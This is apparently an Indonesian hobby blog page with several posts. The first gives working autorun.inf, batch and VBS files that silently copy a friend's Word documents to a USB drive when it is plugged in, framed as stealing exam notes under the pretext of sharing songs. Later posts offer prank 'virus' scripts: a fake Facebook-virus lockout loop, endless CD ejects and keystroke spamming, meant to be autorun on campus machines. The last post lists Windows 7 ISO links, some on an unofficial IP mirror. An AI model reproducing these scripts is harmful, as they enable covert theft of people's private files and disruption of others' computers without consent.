Background

Cara mencuri file dari komputer teman


Ok, bayangkan anda sedang menghadapi ujian terakhir, dan anda belum siap, tetapi teman anda punya jawaban atau catatan penting di laptop atau di komputernya tapi tidak mau berbagi dengan anda, dan teman anda ini sedikit goblok, dan anda kepengen mencuri isi dokumen yang berada dikomputernya.
Cara mencuri data di komputernya adalah dengan pergi kerumahnya dimalam hari dengan membawa flashdisk yang digantung dileher anda, dan sembunyi2 masuk ke kamarnya dan mengcopy isi dokumen di harddisknya, jadi pencuri beneran nih? hehehehe. atau alternatif lain, kita kan temanan yah ceritanya, jadi bilang ajah gini ama dia, “Teman, aku punya lagu baru ini di flashdisk gue? mau copy ngga?” nah lalu kita copykan lagu nya ke komputer dia. (sssssttt diam2 yah!)


Kayaknya cara pertama diatas dengan menjadi pencuri beneran ngga enak yah? hehehe. langsung ajah kita pake cara halus. ikuti langkah2 berikut: Sebelumnya siapin dolo flashdisk kita (kalo bisa isinya gede)

Langkah ke-1

Buka Notepad (saya sarankan pake program Notepad++) copy dan paste kode dibawah ini.

[autorun]
icon=drive.ico
open=launch.bat
action=Click OK to Run
shell\open\command=launch.bat
 
Kemudian simpanlah di flashdisk dengan nama: autorun.inf

Langkah ke-2

Buka Notepad lagi dan copas kode berikut:

@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%\My Documents\*.doc" "%drive%\all\doc"
@echo off
cls
 
Simpan di flashdisk anda dengan nama:file.bat

Langkah ke-3

Buka Notepad lagi dan copas kode berikut:

CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
 
Simpan di flashdisk anda dengan nama:invisible.vbs

Langkah ke-4

Buka Notepad lagi dan copas lagi kode berikut:

wscript.exe \invisible.vbs file.bat
 
Simpan di flashdisk anda dengan nama:launch.bat

Ok, sekarang pastikan ke-4 file tadi yang telah kita buat berada di flashdisk kita, dan buatlah folder baru dengan nama all untuk menyimpan hasil curian kita di komputer teman tadi, dimana perintah: %backupcmd% “%USERPROFILE%\My Documents\*.doc” “%drive%\all\doc”, akan menyalin semua file ber-ekstensi .doc kedalam folder “all/doc” yang berada di flashdisk kita secara otomatis waktu kita mencolokkan flashdisk kita dikomputernya, ataupun dia sendiri yang mencolokkannya dikomputernya sendiri.


Sebelum mencoba mencuri file dikomputer teman, coba dulu flashdisk kita dikomputer kita sendiri, lihat apakah bekerja dengan baik. Selamat mencoba :)
Read More 2 komentar

Buat virus Fesbuk yuk

Iseng iseng lagi nih gak ada kerjaan, di lab komputer berisik banget, dosen blom nongol batang hidungnya, ngebrowsing sana sini (ngga nge-bokep loh :p), pusing ngga bisa facebook-an gara2 diblok sama admin kampus. ah daripada bete, ngerjain laptop teman ah…! yuk mulai:

Copas kode berikut, simpan dalam ekstensi file .vbs
Dim code
Dim pass
pass = "bobhalim.blogspot.com"
MsgBox "Hallo Kamu telah terinfeksi Virus Facebook!!. Waktu anda tinggal 3 hari lagi sebelum password Facebook anda diganti. Waktu 3hari anda dimulai: " & Time, 16, "Facebook Virus"
Do
code = InputBox("Masukkan 6 angka penangkal virus Facebook.", "Virus Facebook Removal")
If code<>pass Then
MsgBox "Kode " & code & " Salah!!. Jika anda mau tau kata kunci untuk menghapus virus ini. Kunjungi website: http://bobhalim.blogspot.com"
End If
Loop Until code=pass
MsgBox "Kode diterima, Virus Facebook telah terhapus. Selamat..!"
Ingat yah, ini bukan virus beneran loh, cuman sekedar iseng doang, password untuk membatalkan aksi virus: bobhalim.blogspot.com ,silahkan di edit kodenya sendiri. oh ya, kl males copas atau ga tau cara buatnya, download ajah disini linknya.

http://www.ziddu.com/download/8974187/facebook.zip.html
Read More 0 komentar

Cara membuat Virus Nakal

Yuk buat “Virus” Nakal, buat ngerjain dosen/guru yang kita ngga suka, lagi suntuk di ruang labkom kampus, pusing ngga bisa maen facebook karena diblokir sama admin labkom, yah iseng2 buatin scripts .vbs. (cuma buat pengetahuan aja)
Caranya: Buka notepad dan masukkan code berikut,
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Simpanlah dengan file tadi dengan ekstensi file iseng.vbs ato apapun nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya ( Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti.
Cara membuat virus nakal
Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk anda, jadi setiap loe colokin ke kompie kampus, maka akan otomatis dijalankan “Virus” Nakal ini.
NB: kl males atau ga tau cara copasnya. download ajah linknya diakhir artikel:
Nah mau script .vbs yang laen lagi?
WScript.Sleep 18000
WScript.Sleep 1000
do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "H"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "l"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys ". "
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "p"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "K"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
wscript.sleep 5000
loop
Scripts diatas nanti otomatis buka notepad dan ketik: Halo. apa kabar? kabar baik?
ingat yah simpan dengan ekstensi nama .vbs, klik file–>save as
Buat virus nakal
Kode Vbs ini akan membuat user terus mengetikkan kata2 “Kamu emang jelek koq!” :D 
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Kamu emang jelak koq!"
loop
Dan membuat terus menerus menekan tombol “Enter”
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep  100
wshshell.sendkeys "~(enter)"
loop
Terus tekan backspace:
MsgBox "Balik lagi ah...saltik"
Set wshShell  =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys  "{bs}"
loop
(post updated: May 8, 2010)

Download virus nakal disini
Read More 0 komentar

Download Windows 7 DVD ISO Asli



Kebanyakan tidak semua perangkat lunak dijual secara online di mana pengguna dapat membayar menggunakan kartu kredit atau paypal dan ketika transaksi selesai, mereka akan dapat men-download versi lengkap atau disertakan dengan lisensi kunci ( serial number ) untuk mengubah versi percobaan ( versi trial ) menjadi aktif versi lengkap ( versi full). Adapun sistem operasi Windows 7, Microsoft tidak menjual secara online dan satu-satunya alasan mengapa ada yang asli dan resmi Windows 7 instalasi ISO yang dapat didownload di Internet adalah karena beberapa etalase online berbasis web dan pengecer seperti “Digital River” menjual lisensi Windows 7.
Berikut adalah daftar kompilasi link Windows 7 yang dapat didownload langsung dalam format ISO yang dapat diekstrak, dibakar ke DVD atau dimasukkan ke mesin virtual. Perlu dicatat bahwa Anda akan memerlukan nomor lisensi yang asli ( produck key ) untuk mengaktifkan Windows 7 ini atau ia hanya dapat bekerja dalam waktu yang terbatas.
Download link dibawah ini:
Windows 7 Professional x64 (64-bit)
English: http://msft-dnl.digitalrivercontent.net/msvista/pub/X15-65805/X15-65805.iso
German: http://msft-dnl.digitalrivercontent.net/msvista/pub/X15-65813/X15-65813.iso
French: http://msft-dnl.digitalrivercontent.net/msvista/pub/X15-65811/X15-65811.iso
Spanish: http://msft-dnl.digitalrivercontent.net/msvista/pub/X15-65843/X15-65843.iso
Windows 7 Professional x86 (32-bit)
English: http://msft-dnl.digitalrivercontent.net/msvista/pub/X15-65804/X15-65804.iso
German: http://msft-dnl.digitalrivercontent.net/msvista/pub/X15-65812/X15-65812.iso
French: http://msft-dnl.digitalrivercontent.net/msvista/pub/X15-65810/X15-65810.iso
Spanish: http://msft-dnl.digitalrivercontent.net/msvista/pub/X15-65842/X15-65842.iso
Windows 7 Home Premium x64 (64-bit)
English: http://msft-dnl.digitalrivercontent.net/msvista/pub/X15-65733/X15-65733.iso
German: http://msft-dnl.digitalrivercontent.net/msvista/pub/X15-65741/X15-65741.iso
French: http://msft-dnl.digitalrivercontent.net/msvista/pub/X15-65738/X15-65739.iso
Spanish: http://msft-dnl.digitalrivercontent.net/msvista/pub/X15-65771/X15-65771.iso
Windows 7 Home Premium x86 (32-bit)
English: http://msft-dnl.digitalrivercontent.net/msvista/pub/X15-65732/X15-65732.iso
German: http://msft-dnl.digitalrivercontent.net/msvista/pub/X15-65740/X15-65740.iso
French: http://msft-dnl.digitalrivercontent.net/msvista/pub/X15-65738/X15-65738.iso
Spanish: http://msft-dnl.digitalrivercontent.net/msvista/pub/X15-65770/X15-65770.iso
Windows 7 Ultimate x64 (64-bit)
English: http://91.121.99.184/paolo/win7-64bit.iso
Mirror:http://91.121.99.184/paolo/win7-64bit.iso
Windows 7 Ultimate x86 (32-bit)
English: http://91.121.99.184/paolo/win7.iso
Mirror: http://91.121.99.184/paolo/win7.iso
Windows 7 Home Premium N x86 (32-bit)
English: http://msft-dnl.digitalrivercontent.net/msvista/pub/X16-13457/X16-13457.iso
Windows 7 Home Premium N x64 (64-bit)
English: http://msft-dnl.digitalrivercontent.net/msvista/pub/X16-13459/X16-13459.iso
Windows 7 Professional N x86 (32-bit)
English: http://msft-dnl.digitalrivercontent.net/msvista/pub/X16-13548/X16-13548.iso
Windows 7 Professional N x64 (64-bit)
English: http://msft-dnl.digitalrivercontent.net/msvista/pub/X16-13550/X16-13550.iso
Server dari dari Digital River menyediakan koneksi yang kenceng, jadi proses menyedot filenya tidaklah menjadi persoalan.
Untuk mengaktifkan windows 7 anda yang belum di aktivasi, silahkan lihat artikel berikut:
Cara Aktivasi Windows7
UPDATED: Karena banyaknya komentar meminta link baru untuk Download Windows 7 Ultimate. Berikut linknya dibawah ini:
Download link untuk Windows 7 Ultimate SP1 64-bit
Download link untuk Windows 7 Ultimate SP1 32-bit
Read More 0 komentar